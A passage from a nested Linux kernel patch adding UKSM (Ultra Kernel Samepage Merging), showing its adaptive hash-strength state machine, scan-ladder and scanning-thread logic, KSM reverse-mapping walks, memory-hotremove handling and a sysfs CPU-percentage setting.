++		hash_strength_delta = HASH_STRENGTH_DELTA_MAX;
++}
++
++/*
++static inline unsigned long get_current_neg_ratio(void)
++{
++	if (!rshash_pos || rshash_neg > rshash_pos)
++		return 100;
++
++	return div64_u64(100 * rshash_neg , rshash_pos);
++}
++*/
++
++static inline unsigned long get_current_neg_ratio(void)
++{
++	u64 pos = benefit.pos;
++	u64 neg = benefit.neg;
++
++	if (!neg)
++		return 0;
++
++	if (!pos || neg > pos)
++		return 100;
++
++	if (neg > div64_u64(U64_MAX, 100))
++		pos = div64_u64(pos, 100);
++	else
++		neg *= 100;
++
++	return div64_u64(neg, pos);
++}
++
++static inline unsigned long get_current_benefit(void)
++{
++	u64 pos = benefit.pos;
++	u64 neg = benefit.neg;
++	u64 scanned = benefit.scanned;
++
++	if (neg > pos)
++		return 0;
++
++	return div64_u64((pos - neg), scanned);
++}
++
++static inline int judge_rshash_direction(void)
++{
++	u64 current_neg_ratio, stable_benefit;
++	u64 current_benefit, delta = 0;
++	int ret = STILL;
++
++	/* Try to probe a value after the boot, and in case the system
++	   are still for a long time. */
++	if ((fully_scanned_round & 0xFFULL) == 10) {
++		ret = OBSCURE;
++		goto out;
++	}
++
++	current_neg_ratio = get_current_neg_ratio();
++
++	if (current_neg_ratio == 0) {
++		rshash_neg_cont_zero++;
++		if (rshash_neg_cont_zero > 2)
++			return GO_DOWN;
++		else
++			return STILL;
++	}
++	rshash_neg_cont_zero = 0;
++
++	if (current_neg_ratio > 90) {
++		ret = GO_UP;
++		goto out;
++	}
++
++	current_benefit = get_current_benefit();
++	stable_benefit = rshash_state.stable_benefit;
++
++	if (!stable_benefit) {
++		ret = OBSCURE;
++		goto out;
++	}
++
++	if (current_benefit > stable_benefit)
++		delta = current_benefit - stable_benefit;
++	else if (current_benefit < stable_benefit)
++		delta = stable_benefit - current_benefit;
++
++	delta = div64_u64(100 * delta , stable_benefit);
++
++	if (delta > 50) {
++		rshash_cont_obscure++;
++		if (rshash_cont_obscure > 2)
++			return OBSCURE;
++		else
++			return STILL;
++	}
++
++out:
++	rshash_cont_obscure = 0;
++	return ret;
++}
++
++/**
++ * rshash_adjust() - The main function to control the random sampling state
++ * machine for hash strength adapting.
++ *
++ * return true if hash_strength has changed.
++ */
++static inline int rshash_adjust(void)
++{
++	unsigned long prev_hash_strength = hash_strength;
++
++	if (!encode_benefit())
++		return 0;
++
++	switch (rshash_state.state) {
++	case RSHASH_STILL:
++		switch (judge_rshash_direction()) {
++		case GO_UP:
++			if (rshash_state.pre_direct == GO_DOWN)
++				hash_strength_delta = 0;
++
++			inc_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++			rshash_state.stable_benefit = get_current_benefit();
++			rshash_state.pre_direct = GO_UP;
++			break;
++
++		case GO_DOWN:
++			if (rshash_state.pre_direct == GO_UP)
++				hash_strength_delta = 0;
++
++			dec_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++			rshash_state.stable_benefit = get_current_benefit();
++			rshash_state.pre_direct = GO_DOWN;
++			break;
++
++		case OBSCURE:
++			rshash_state.stable_point = hash_strength;
++			rshash_state.turn_point_down = hash_strength;
++			rshash_state.turn_point_up = hash_strength;
++			rshash_state.turn_benefit_down = get_current_benefit();
++			rshash_state.turn_benefit_up = get_current_benefit();
++			rshash_state.lookup_window_index = 0;
++			rshash_state.state = RSHASH_TRYDOWN;
++			dec_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++			break;
++
++		case STILL:
++			break;
++		default:
++			BUG();
++		}
++		break;
++
++	case RSHASH_TRYDOWN:
++		if (rshash_state.lookup_window_index++ % 5 == 0)
++			rshash_state.below_count = 0;
++
++		if (get_current_benefit() < rshash_state.stable_benefit)
++			rshash_state.below_count++;
++		else if (get_current_benefit() >
++			 rshash_state.turn_benefit_down) {
++			rshash_state.turn_point_down = hash_strength;
++			rshash_state.turn_benefit_down = get_current_benefit();
++		}
++
++		if (rshash_state.below_count >= 3 ||
++		    judge_rshash_direction() == GO_UP ||
++		    hash_strength == 1) {
++			hash_strength = rshash_state.stable_point;
++			hash_strength_delta = 0;
++			inc_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++			rshash_state.lookup_window_index = 0;
++			rshash_state.state = RSHASH_TRYUP;
++			hash_strength_delta = 0;
++		} else {
++			dec_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++		}
++		break;
++
++	case RSHASH_TRYUP:
++		if (rshash_state.lookup_window_index++ % 5 == 0)
++			rshash_state.below_count = 0;
++
++		if (get_current_benefit() < rshash_state.turn_benefit_down)
++			rshash_state.below_count++;
++		else if (get_current_benefit() > rshash_state.turn_benefit_up) {
++			rshash_state.turn_point_up = hash_strength;
++			rshash_state.turn_benefit_up = get_current_benefit();
++		}
++
++		if (rshash_state.below_count >= 3 ||
++		    judge_rshash_direction() == GO_DOWN ||
++		    hash_strength == HASH_STRENGTH_MAX) {
++			hash_strength = rshash_state.turn_benefit_up >
++				rshash_state.turn_benefit_down ?
++				rshash_state.turn_point_up :
++				rshash_state.turn_point_down;
++
++			rshash_state.state = RSHASH_PRE_STILL;
++		} else {
++			inc_hash_strength(hash_strength_delta);
++			inc_hash_strength_delta();
++		}
++
++		break;
++
++	case RSHASH_NEW:
++	case RSHASH_PRE_STILL:
++		rshash_state.stable_benefit = get_current_benefit();
++		rshash_state.state = RSHASH_STILL;
++		hash_strength_delta = 0;
++		break;
++	default:
++		BUG();
++	}
++
++	/* rshash_neg = rshash_pos = 0; */
++	reset_benefit();
++
++	if (prev_hash_strength != hash_strength)
++		stable_tree_delta_hash(prev_hash_strength);
++
++	return prev_hash_strength != hash_strength;
++}
++
++/**
++ * round_update_ladder() - The main function to do update of all the
++ * adjustments whenever a scan round is finished.
++ */
++static noinline void round_update_ladder(void)
++{
++	int i;
++	unsigned long dedup;
++	struct vma_slot *slot, *tmp_slot;
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		uksm_scan_ladder[i].flags &= ~UKSM_RUNG_ROUND_FINISHED;
++	}
++
++	list_for_each_entry_safe(slot, tmp_slot, &vma_slot_dedup, dedup_list) {
++
++		/* slot may be rung_rm_slot() when mm exits */
++		if (slot->snode) {
++			dedup = cal_dedup_ratio_old(slot);
++			if (dedup && dedup >= uksm_abundant_threshold)
++				vma_rung_up(slot);
++		}
++
++		slot->pages_bemerged = 0;
++		slot->pages_cowed = 0;
++
++		list_del_init(&slot->dedup_list);
++	}
++}
++
++static void uksm_del_vma_slot(struct vma_slot *slot)
++{
++	int i, j;
++	struct rmap_list_entry *entry;
++
++	if (slot->snode) {
++		/*
++		 * In case it just failed when entering the rung, it's not
++		 * necessary.
++		 */
++		rung_rm_slot(slot);
++	}
++
++	if (!list_empty(&slot->dedup_list))
++		list_del(&slot->dedup_list);
++
++	if (!slot->rmap_list_pool || !slot->pool_counts) {
++		/* In case it OOMed in uksm_vma_enter() */
++		goto out;
++	}
++
++	for (i = 0; i < slot->pool_size; i++) {
++		void *addr;
++
++		if (!slot->rmap_list_pool[i])
++			continue;
++
++		addr = kmap(slot->rmap_list_pool[i]);
++		for (j = 0; j < PAGE_SIZE / sizeof(*entry); j++) {
++			entry = (struct rmap_list_entry *)addr + j;
++			if (is_addr(entry->addr))
++				continue;
++			if (!entry->item)
++				continue;
++
++			remove_rmap_item_from_tree(entry->item);
++			free_rmap_item(entry->item);
++			slot->pool_counts[i]--;
++		}
++		BUG_ON(slot->pool_counts[i]);
++		kunmap(slot->rmap_list_pool[i]);
++		__free_page(slot->rmap_list_pool[i]);
++	}
++	kfree(slot->rmap_list_pool);
++	kfree(slot->pool_counts);
++
++out:
++	slot->rung = NULL;
++	BUG_ON(uksm_pages_total < slot->pages);
++	if (slot->flags & UKSM_SLOT_IN_UKSM)
++		uksm_pages_total -= slot->pages;
++
++	if (slot->fully_scanned_round == fully_scanned_round)
++		scanned_virtual_pages -= slot->pages;
++	else
++		scanned_virtual_pages -= slot->pages_scanned;
++	free_vma_slot(slot);
++}
++
++
++#define SPIN_LOCK_PERIOD	32
++static struct vma_slot *cleanup_slots[SPIN_LOCK_PERIOD];
++static inline void cleanup_vma_slots(void)
++{
++	struct vma_slot *slot;
++	int i;
++
++	i = 0;
++	spin_lock(&vma_slot_list_lock);
++	while (!list_empty(&vma_slot_del)) {
++		slot = list_entry(vma_slot_del.next,
++				  struct vma_slot, slot_list);
++		list_del(&slot->slot_list);
++		cleanup_slots[i++] = slot;
++		if (i == SPIN_LOCK_PERIOD) {
++			spin_unlock(&vma_slot_list_lock);
++			while (--i >= 0)
++				uksm_del_vma_slot(cleanup_slots[i]);
++			i = 0;
++			spin_lock(&vma_slot_list_lock);
++		}
++	}
++	spin_unlock(&vma_slot_list_lock);
++
++	while (--i >= 0)
++		uksm_del_vma_slot(cleanup_slots[i]);
++}
++
++/*
++*expotional moving average formula
++*/
++static inline unsigned long ema(unsigned long curr, unsigned long last_ema)
++{
++	/*
++	 * For a very high burst, even the ema cannot work well, a false very
++	 * high per-page time estimation can result in feedback in very high
++	 * overhead of context swith and rung update -- this will then lead
++	 * to higher per-paper time, this may not converge.
++	 *
++	 * Instead, we try to approach this value in a binary manner.
++	 */
++	if (curr > last_ema * 10)
++		return last_ema * 2;
++
++	return (EMA_ALPHA * curr + (100 - EMA_ALPHA) * last_ema) / 100;
++}
++
++/*
++ * convert cpu ratio in 1/TIME_RATIO_SCALE configured by user to
++ * nanoseconds based on current uksm_sleep_jiffies.
++ */
++static inline unsigned long cpu_ratio_to_nsec(unsigned int ratio)
++{
++	return NSEC_PER_USEC * jiffies_to_usecs(uksm_sleep_jiffies) /
++		(TIME_RATIO_SCALE - ratio) * ratio;
++}
++
++
++static inline unsigned long rung_real_ratio(int cpu_time_ratio)
++{
++	unsigned long ret;
++
++	BUG_ON(!cpu_time_ratio);
++
++	if (cpu_time_ratio > 0)
++		ret = cpu_time_ratio;
++	else
++		ret = (unsigned long)(-cpu_time_ratio) *
++			uksm_max_cpu_percentage / 100UL;
++
++	return ret ? ret : 1;
++}
++
++static noinline void uksm_calc_scan_pages(void)
++{
++	struct scan_rung *ladder = uksm_scan_ladder;
++	unsigned long sleep_usecs, nsecs;
++	unsigned long ratio;
++	int i;
++	unsigned long per_page;
++
++	if (uksm_ema_page_time > 100000 ||
++	    (((unsigned long) uksm_eval_round & (256UL - 1)) == 0UL))
++		uksm_ema_page_time = UKSM_PAGE_TIME_DEFAULT;
++
++	per_page = uksm_ema_page_time;
++	BUG_ON(!per_page);
++
++	/*
++	 * For every 8 eval round, we try to probe a uksm_sleep_jiffies value
++	 * based on saved user input.
++	 */
++	if (((unsigned long) uksm_eval_round & (8UL - 1)) == 0UL)
++		uksm_sleep_jiffies = uksm_sleep_saved;
++
++	/* We require a rung scan at least 1 page in a period. */
++	nsecs = per_page;
++	ratio = rung_real_ratio(ladder[0].cpu_ratio);
++	if (cpu_ratio_to_nsec(ratio) < nsecs) {
++		sleep_usecs = nsecs * (TIME_RATIO_SCALE - ratio) / ratio
++				/ NSEC_PER_USEC;
++		uksm_sleep_jiffies = usecs_to_jiffies(sleep_usecs) + 1;
++	}
++
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		ratio = rung_real_ratio(ladder[i].cpu_ratio);
++		ladder[i].pages_to_scan = cpu_ratio_to_nsec(ratio) /
++					per_page;
++		BUG_ON(!ladder[i].pages_to_scan);
++		uksm_calc_rung_step(&ladder[i], per_page, ratio);
++	}
++}
++
++/*
++ * From the scan time of this round (ns) to next expected min sleep time
++ * (ms), be careful of the possible overflows. ratio is taken from
++ * rung_real_ratio()
++ */
++static inline
++unsigned int scan_time_to_sleep(unsigned long long scan_time, unsigned long ratio)
++{
++	scan_time >>= 20; /* to msec level now */
++	BUG_ON(scan_time > (ULONG_MAX / TIME_RATIO_SCALE));
++
++	return (unsigned int) ((unsigned long) scan_time *
++			       (TIME_RATIO_SCALE - ratio) / ratio);
++}
++
++#define __round_mask(x, y) ((__typeof__(x))((y)-1))
++#define round_up(x, y) ((((x)-1) | __round_mask(x, y))+1)
++
++static inline unsigned long vma_pool_size(struct vma_slot *slot)
++{
++	return round_up(sizeof(struct rmap_list_entry) * slot->pages,
++			PAGE_SIZE) >> PAGE_SHIFT;
++}
++
++static void uksm_vma_enter(struct vma_slot **slots, unsigned long num)
++{
++	struct scan_rung *rung;
++	unsigned long pool_size, i;
++	struct vma_slot *slot;
++	int failed;
++
++	rung = &uksm_scan_ladder[0];
++
++	failed = 0;
++	for (i = 0; i < num; i++) {
++		slot = slots[i];
++
++		pool_size = vma_pool_size(slot);
++		slot->rmap_list_pool = kzalloc(sizeof(struct page *) *
++					       pool_size, GFP_KERNEL);
++		if (!slot->rmap_list_pool)
++			break;
++
++		slot->pool_counts = kzalloc(sizeof(unsigned int) * pool_size,
++					    GFP_KERNEL);
++		if (!slot->pool_counts) {
++			kfree(slot->rmap_list_pool);
++			break;
++		}
++
++		slot->pool_size = pool_size;
++		BUG_ON(CAN_OVERFLOW_U64(uksm_pages_total, slot->pages));
++		slot->flags |= UKSM_SLOT_IN_UKSM;
++		uksm_pages_total += slot->pages;
++	}
++
++	if (i)
++		rung_add_new_slots(rung, slots, i);
++
++	return;
++}
++
++static struct vma_slot *batch_slots[SLOT_TREE_NODE_STORE_SIZE];
++
++static void uksm_enter_all_slots(void)
++{
++	struct vma_slot *slot;
++	unsigned long index;
++	struct list_head empty_vma_list;
++	int i;
++
++	i = 0;
++	index = 0;
++	INIT_LIST_HEAD(&empty_vma_list);
++
++	spin_lock(&vma_slot_list_lock);
++	while (!list_empty(&vma_slot_new)) {
++		slot = list_entry(vma_slot_new.next,
++				  struct vma_slot, slot_list);
++
++		if (!slot->vma->anon_vma) {
++			list_move(&slot->slot_list, &empty_vma_list);
++		} else if (vma_can_enter(slot->vma)) {
++			batch_slots[index++] = slot;
++			list_del_init(&slot->slot_list);
++		} else {
++			list_move(&slot->slot_list, &vma_slot_noadd);
++		}
++
++		if (++i == SPIN_LOCK_PERIOD ||
++		    (index && !(index % SLOT_TREE_NODE_STORE_SIZE))) {
++			spin_unlock(&vma_slot_list_lock);
++
++			if (index && !(index % SLOT_TREE_NODE_STORE_SIZE)) {
++				uksm_vma_enter(batch_slots, index);
++				index = 0;
++			}
++			i = 0;
++			cond_resched();
++			spin_lock(&vma_slot_list_lock);
++		}
++	}
++
++	list_splice(&empty_vma_list, &vma_slot_new);
++
++	spin_unlock(&vma_slot_list_lock);
++
++	if (index)
++		uksm_vma_enter(batch_slots, index);
++
++}
++
++static inline int rung_round_finished(struct scan_rung *rung)
++{
++	return rung->flags & UKSM_RUNG_ROUND_FINISHED;
++}
++
++static inline void judge_slot(struct vma_slot *slot)
++{
++	struct scan_rung *rung = slot->rung;
++	unsigned long dedup;
++	int deleted;
++
++	dedup = cal_dedup_ratio(slot);
++	if (vma_fully_scanned(slot) && uksm_thrash_threshold)
++		deleted = vma_rung_enter(slot, &uksm_scan_ladder[0]);
++	else if (dedup && dedup >= uksm_abundant_threshold)
++		deleted = vma_rung_up(slot);
++	else
++		deleted = vma_rung_down(slot);
++
++	slot->pages_merged = 0;
++	slot->pages_cowed = 0;
++
++	if (vma_fully_scanned(slot))
++		slot->pages_scanned = 0;
++
++	slot->last_scanned = slot->pages_scanned;
++
++	/* If its deleted in above, then rung was already advanced. */
++	if (!deleted)
++		advance_current_scan(rung);
++}
++
++
++static inline int hash_round_finished(void)
++{
++	if (scanned_virtual_pages > (uksm_pages_total >> 2)) {
++		scanned_virtual_pages = 0;
++		if (uksm_pages_scanned)
++			fully_scanned_round++;
++
++		return 1;
++	} else {
++		return 0;
++	}
++}
++
++#define UKSM_MMSEM_BATCH	5
++#define BUSY_RETRY		100
++
++/**
++ * uksm_do_scan()  - the main worker function.
++ */
++static noinline void uksm_do_scan(void)
++{
++	struct vma_slot *slot, *iter;
++	struct mm_struct *busy_mm;
++	unsigned char round_finished, all_rungs_emtpy;
++	int i, err, mmsem_batch;
++	unsigned long pcost;
++	long long delta_exec;
++	unsigned long vpages, max_cpu_ratio;
++	unsigned long long start_time, end_time, scan_time;
++	unsigned int expected_jiffies;
++
++	might_sleep();
++
++	vpages = 0;
++
++	start_time = task_sched_runtime(current);
++	max_cpu_ratio = 0;
++	mmsem_batch = 0;
++
++	for (i = 0; i < SCAN_LADDER_SIZE;) {
++		struct scan_rung *rung = &uksm_scan_ladder[i];
++		unsigned long ratio;
++		int busy_retry;
++
++		if (!rung->pages_to_scan) {
++			i++;
++			continue;
++		}
++
++		if (!rung->vma_root.num) {
++			rung->pages_to_scan = 0;
++			i++;
++			continue;
++		}
++
++		ratio = rung_real_ratio(rung->cpu_ratio);
++		if (ratio > max_cpu_ratio)
++			max_cpu_ratio = ratio;
++
++		busy_retry = BUSY_RETRY;
++		/*
++		 * Do not consider rung_round_finished() here, just used up the
++		 * rung->pages_to_scan quota.
++		 */
++		while (rung->pages_to_scan && rung->vma_root.num &&
++		       likely(!freezing(current))) {
++			int reset = 0;
++
++			slot = rung->current_scan;
++
++			BUG_ON(vma_fully_scanned(slot));
++
++			if (mmsem_batch) {
++				err = 0;
++			} else {
++				err = try_down_read_slot_mmap_sem(slot);
++			}
++
++			if (err == -ENOENT) {
++rm_slot:
++				rung_rm_slot(slot);
++				continue;
++			}
++
++			busy_mm = slot->mm;
++
++			if (err == -EBUSY) {
++				/* skip other vmas on the same mm */
++				do {
++					reset = advance_current_scan(rung);
++					iter = rung->current_scan;
++					busy_retry--;
++					if (iter->vma->vm_mm != busy_mm ||
++					    !busy_retry || reset)
++						break;
++				} while (1);
++
++				if (iter->vma->vm_mm != busy_mm) {
++					continue;
++				} else {
++					/* scan round finsished */
++					break;
++				}
++			}
++
++			BUG_ON(!vma_can_enter(slot->vma));
++			if (uksm_test_exit(slot->vma->vm_mm)) {
++				mmsem_batch = 0;
++				up_read(&slot->vma->vm_mm->mmap_sem);
++				goto rm_slot;
++			}
++
++			if (mmsem_batch)
++				mmsem_batch--;
++			else
++				mmsem_batch = UKSM_MMSEM_BATCH;
++
++			/* Ok, we have take the mmap_sem, ready to scan */
++			scan_vma_one_page(slot);
++			rung->pages_to_scan--;
++			vpages++;
++
++			if (rung->current_offset + rung->step > slot->pages - 1
++			    || vma_fully_scanned(slot)) {
++				up_read(&slot->vma->vm_mm->mmap_sem);
++				judge_slot(slot);
++				mmsem_batch = 0;
++			} else {
++				rung->current_offset += rung->step;
++				if (!mmsem_batch)
++					up_read(&slot->vma->vm_mm->mmap_sem);
++			}
++
++			busy_retry = BUSY_RETRY;
++			cond_resched();
++		}
++
++		if (mmsem_batch) {
++			up_read(&slot->vma->vm_mm->mmap_sem);
++			mmsem_batch = 0;
++		}
++
++		if (freezing(current))
++			break;
++
++		cond_resched();
++	}
++	end_time = task_sched_runtime(current);
++	delta_exec = end_time - start_time;
++
++	if (freezing(current))
++		return;
++
++	cleanup_vma_slots();
++	uksm_enter_all_slots();
++
++	round_finished = 1;
++	all_rungs_emtpy = 1;
++	for (i = 0; i < SCAN_LADDER_SIZE; i++) {
++		struct scan_rung *rung = &uksm_scan_ladder[i];
++
++		if (rung->vma_root.num) {
++			all_rungs_emtpy = 0;
++			if (!rung_round_finished(rung))
++				round_finished = 0;
++		}
++	}
++
++	if (all_rungs_emtpy)
++		round_finished = 0;
++
++	if (round_finished) {
++		round_update_ladder();
++		uksm_eval_round++;
++
++		if (hash_round_finished() && rshash_adjust()) {
++			/* Reset the unstable root iff hash strength changed */
++			uksm_hash_round++;
++			root_unstable_tree = RB_ROOT;
++			free_all_tree_nodes(&unstable_tree_node_list);
++		}
++
++		/*
++		 * A number of pages can hang around indefinitely on per-cpu
++		 * pagevecs, raised page count preventing write_protect_page
++		 * from merging them.  Though it doesn't really matter much,
++		 * it is puzzling to see some stuck in pages_volatile until
++		 * other activity jostles them out, and they also prevented
++		 * LTP's KSM test from succeeding deterministically; so drain
++		 * them here (here rather than on entry to uksm_do_scan(),
++		 * so we don't IPI too often when pages_to_scan is set low).
++		 */
++		lru_add_drain_all();
++	}
++
++
++	if (vpages && delta_exec > 0) {
++		pcost = (unsigned long) delta_exec / vpages;
++		if (likely(uksm_ema_page_time))
++			uksm_ema_page_time = ema(pcost, uksm_ema_page_time);
++		else
++			uksm_ema_page_time = pcost;
++	}
++
++	uksm_calc_scan_pages();
++	uksm_sleep_real = uksm_sleep_jiffies;
++	/* in case of radical cpu bursts, apply the upper bound */
++	end_time = task_sched_runtime(current);
++	if (max_cpu_ratio && end_time > start_time) {
++		scan_time = end_time - start_time;
++		expected_jiffies = msecs_to_jiffies(
++			scan_time_to_sleep(scan_time, max_cpu_ratio));
++
++		if (expected_jiffies > uksm_sleep_real)
++			uksm_sleep_real = expected_jiffies;
++
++		/* We have a 1 second up bound for responsiveness. */
++		if (jiffies_to_msecs(uksm_sleep_real) > MSEC_PER_SEC)
++			uksm_sleep_real = msecs_to_jiffies(1000);
++	}
++
++	return;
++}
++
++static int ksmd_should_run(void)
++{
++	return uksm_run & UKSM_RUN_MERGE;
++}
++
++static int uksm_scan_thread(void *nothing)
++{
++	set_freezable();
++	set_user_nice(current, 5);
++
++	while (!kthread_should_stop()) {
++		mutex_lock(&uksm_thread_mutex);
++		if (ksmd_should_run()) {
++			uksm_do_scan();
++		}
++		mutex_unlock(&uksm_thread_mutex);
++
++		try_to_freeze();
++
++		if (ksmd_should_run()) {
++			schedule_timeout_interruptible(uksm_sleep_real);
++			uksm_sleep_times++;
++		} else {
++			wait_event_freezable(uksm_thread_wait,
++				ksmd_should_run() || kthread_should_stop());
++		}
++	}
++	return 0;
++}
++
++int page_referenced_ksm(struct page *page, struct mem_cgroup *memcg,
++			unsigned long *vm_flags)
++{
++	struct stable_node *stable_node;
++	struct node_vma *node_vma;
++	struct rmap_item *rmap_item;
++	unsigned int mapcount = page_mapcount(page);
++	int referenced = 0;
++	int search_new_forks = 0;
++	unsigned long address;
++
++	VM_BUG_ON(!PageKsm(page));
++	VM_BUG_ON(!PageLocked(page));
++
++	stable_node = page_stable_node(page);
++	if (!stable_node)
++		return 0;
++
++
++again:
++	hlist_for_each_entry(node_vma, &stable_node->hlist, hlist) {
++		hlist_for_each_entry(rmap_item, &node_vma->rmap_hlist, hlist) {
++			struct anon_vma *anon_vma = rmap_item->anon_vma;
++			struct anon_vma_chain *vmac;
++			struct vm_area_struct *vma;
++
++			anon_vma_lock_read(anon_vma);
++			anon_vma_interval_tree_foreach(vmac, &anon_vma->rb_root,
++						       0, ULONG_MAX) {
++
++				vma = vmac->vma;
++				address = get_rmap_addr(rmap_item);
++
++				if (address < vma->vm_start ||
++				    address >= vma->vm_end)
++					continue;
++				/*
++				 * Initially we examine only the vma which
++				 * covers this rmap_item; but later, if there
++				 * is still work to do, we examine covering
++				 * vmas in other mms: in case they were forked
++				 * from the original since ksmd passed.
++				 */
++				if ((rmap_item->slot->vma == vma) ==
++				    search_new_forks)
++					continue;
++
++				if (memcg &&
++				    !mm_match_cgroup(vma->vm_mm, memcg))
++					continue;
++
++				referenced +=
++					page_referenced_one(page, vma,
++						address, &mapcount, vm_flags);
++				if (!search_new_forks || !mapcount)
++					break;
++			}
++
++			anon_vma_unlock_read(anon_vma);
++			if (!mapcount)
++				goto out;
++		}
++	}
++	if (!search_new_forks++)
++		goto again;
++out:
++	return referenced;
++}
++
++int try_to_unmap_ksm(struct page *page, enum ttu_flags flags)
++{
++	struct stable_node *stable_node;
++	struct node_vma *node_vma;
++	struct rmap_item *rmap_item;
++	int ret = SWAP_AGAIN;
++	int search_new_forks = 0;
++	unsigned long address;
++
++	VM_BUG_ON(!PageKsm(page));
++	VM_BUG_ON(!PageLocked(page));
++
++	stable_node = page_stable_node(page);
++	if (!stable_node)
++		return SWAP_FAIL;
++again:
++	hlist_for_each_entry(node_vma, &stable_node->hlist, hlist) {
++		hlist_for_each_entry(rmap_item, &node_vma->rmap_hlist, hlist) {
++			struct anon_vma *anon_vma = rmap_item->anon_vma;
++			struct anon_vma_chain *vmac;
++			struct vm_area_struct *vma;
++
++			anon_vma_lock_read(anon_vma);
++			anon_vma_interval_tree_foreach(vmac, &anon_vma->rb_root,
++						       0, ULONG_MAX) {
++				vma = vmac->vma;
++				address = get_rmap_addr(rmap_item);
++
++				if (address < vma->vm_start ||
++				    address >= vma->vm_end)
++					continue;
++				/*
++				 * Initially we examine only the vma which
++				 * covers this rmap_item; but later, if there
++				 * is still work to do, we examine covering
++				 * vmas in other mms: in case they were forked
++				 * from the original since ksmd passed.
++				 */
++				if ((rmap_item->slot->vma == vma) ==
++				    search_new_forks)
++					continue;
++
++				ret = try_to_unmap_one(page, vma,
++						       address, flags);
++				if (ret != SWAP_AGAIN || !page_mapped(page)) {
++					anon_vma_unlock_read(anon_vma);
++					goto out;
++				}
++			}
++			anon_vma_unlock_read(anon_vma);
++		}
++	}
++	if (!search_new_forks++)
++		goto again;
++out:
++	return ret;
++}
++
++#ifdef CONFIG_MIGRATION
++int rmap_walk_ksm(struct page *page, int (*rmap_one)(struct page *,
++		  struct vm_area_struct *, unsigned long, void *), void *arg)
++{
++	struct stable_node *stable_node;
++	struct node_vma *node_vma;
++	struct rmap_item *rmap_item;
++	int ret = SWAP_AGAIN;
++	int search_new_forks = 0;
++	unsigned long address;
++
++	VM_BUG_ON(!PageKsm(page));
++	VM_BUG_ON(!PageLocked(page));
++
++	stable_node = page_stable_node(page);
++	if (!stable_node)
++		return ret;
++again:
++	hlist_for_each_entry(node_vma, &stable_node->hlist, hlist) {
++		hlist_for_each_entry(rmap_item, &node_vma->rmap_hlist, hlist) {
++			struct anon_vma *anon_vma = rmap_item->anon_vma;
++			struct anon_vma_chain *vmac;
++			struct vm_area_struct *vma;
++
++			anon_vma_lock_read(anon_vma);
++			anon_vma_interval_tree_foreach(vmac, &anon_vma->rb_root,
++						       0, ULONG_MAX) {
++				vma = vmac->vma;
++				address = get_rmap_addr(rmap_item);
++
++				if (address < vma->vm_start ||
++				    address >= vma->vm_end)
++					continue;
++
++				if ((rmap_item->slot->vma == vma) ==
++				    search_new_forks)
++					continue;
++
++				ret = rmap_one(page, vma, address, arg);
++				if (ret != SWAP_AGAIN) {
++					anon_vma_unlock_read(anon_vma);
++					goto out;
++				}
++			}
++			anon_vma_unlock_read(anon_vma);
++		}
++	}
++	if (!search_new_forks++)
++		goto again;
++out:
++	return ret;
++}
++
++/* Common ksm interface but may be specific to uksm */
++void ksm_migrate_page(struct page *newpage, struct page *oldpage)
++{
++	struct stable_node *stable_node;
++
++	VM_BUG_ON(!PageLocked(oldpage));
++	VM_BUG_ON(!PageLocked(newpage));
++	VM_BUG_ON(newpage->mapping != oldpage->mapping);
++
++	stable_node = page_stable_node(newpage);
++	if (stable_node) {
++		VM_BUG_ON(stable_node->kpfn != page_to_pfn(oldpage));
++		stable_node->kpfn = page_to_pfn(newpage);
++	}
++}
++#endif /* CONFIG_MIGRATION */
++
++#ifdef CONFIG_MEMORY_HOTREMOVE
++static struct stable_node *uksm_check_stable_tree(unsigned long start_pfn,
++						 unsigned long end_pfn)
++{
++	struct rb_node *node;
++
++	for (node = rb_first(root_stable_treep); node; node = rb_next(node)) {
++		struct stable_node *stable_node;
++
++		stable_node = rb_entry(node, struct stable_node, node);
++		if (stable_node->kpfn >= start_pfn &&
++		    stable_node->kpfn < end_pfn)
++			return stable_node;
++	}
++	return NULL;
++}
++
++static int uksm_memory_callback(struct notifier_block *self,
++			       unsigned long action, void *arg)
++{
++	struct memory_notify *mn = arg;
++	struct stable_node *stable_node;
++
++	switch (action) {
++	case MEM_GOING_OFFLINE:
++		/*
++		 * Keep it very simple for now: just lock out ksmd and
++		 * MADV_UNMERGEABLE while any memory is going offline.
++		 * mutex_lock_nested() is necessary because lockdep was alarmed
++		 * that here we take uksm_thread_mutex inside notifier chain
++		 * mutex, and later take notifier chain mutex inside
++		 * uksm_thread_mutex to unlock it.   But that's safe because both
++		 * are inside mem_hotplug_mutex.
++		 */
++		mutex_lock_nested(&uksm_thread_mutex, SINGLE_DEPTH_NESTING);
++		break;
++
++	case MEM_OFFLINE:
++		/*
++		 * Most of the work is done by page migration; but there might
++		 * be a few stable_nodes left over, still pointing to struct
++		 * pages which have been offlined: prune those from the tree.
++		 */
++		while ((stable_node = uksm_check_stable_tree(mn->start_pfn,
++					mn->start_pfn + mn->nr_pages)) != NULL)
++			remove_node_from_stable_tree(stable_node, 1, 1);
++		/* fallthrough */
++
++	case MEM_CANCEL_OFFLINE:
++		mutex_unlock(&uksm_thread_mutex);
++		break;
++	}
++	return NOTIFY_OK;
++}
++#endif /* CONFIG_MEMORY_HOTREMOVE */
++
++#ifdef CONFIG_SYSFS
++/*
++ * This all compiles without CONFIG_SYSFS, but is a waste of space.
++ */
++
++#define UKSM_ATTR_RO(_name) \
++	static struct kobj_attribute _name##_attr = __ATTR_RO(_name)
++#define UKSM_ATTR(_name) \
++	static struct kobj_attribute _name##_attr = \
++		__ATTR(_name, 0644, _name##_show, _name##_store)
++
++static ssize_t max_cpu_percentage_show(struct kobject *kobj,
++				    struct kobj_attribute *attr, char *buf)
++{
++	return sprintf(buf, "%u\n", uksm_max_cpu_percentage);
++}
++
++static ssize_t max_cpu_percentage_store(struct kobject *kobj,
++				     struct kobj_attribute *attr,
++				     const char *buf, size_t count)
++{
++	unsigned long max_cpu_percentage;
++	int err;
++
++	err = strict_strtoul(buf, 10, &max_cpu_percentage);
++	if (err || max_cpu_percentage > 100)
++		return -EINVAL;
++
++	if (max_cpu_percentage == 100)
++		max_cpu_percentage = 99;
++	else if (max_cpu_percentage < 10)
++		max_cpu_percentage = 10;
++
++	uksm_max_cpu_percentage = max_cpu_percentage;
++
++	return count;
++}
++UKSM_ATTR(max_cpu_percentage);
++
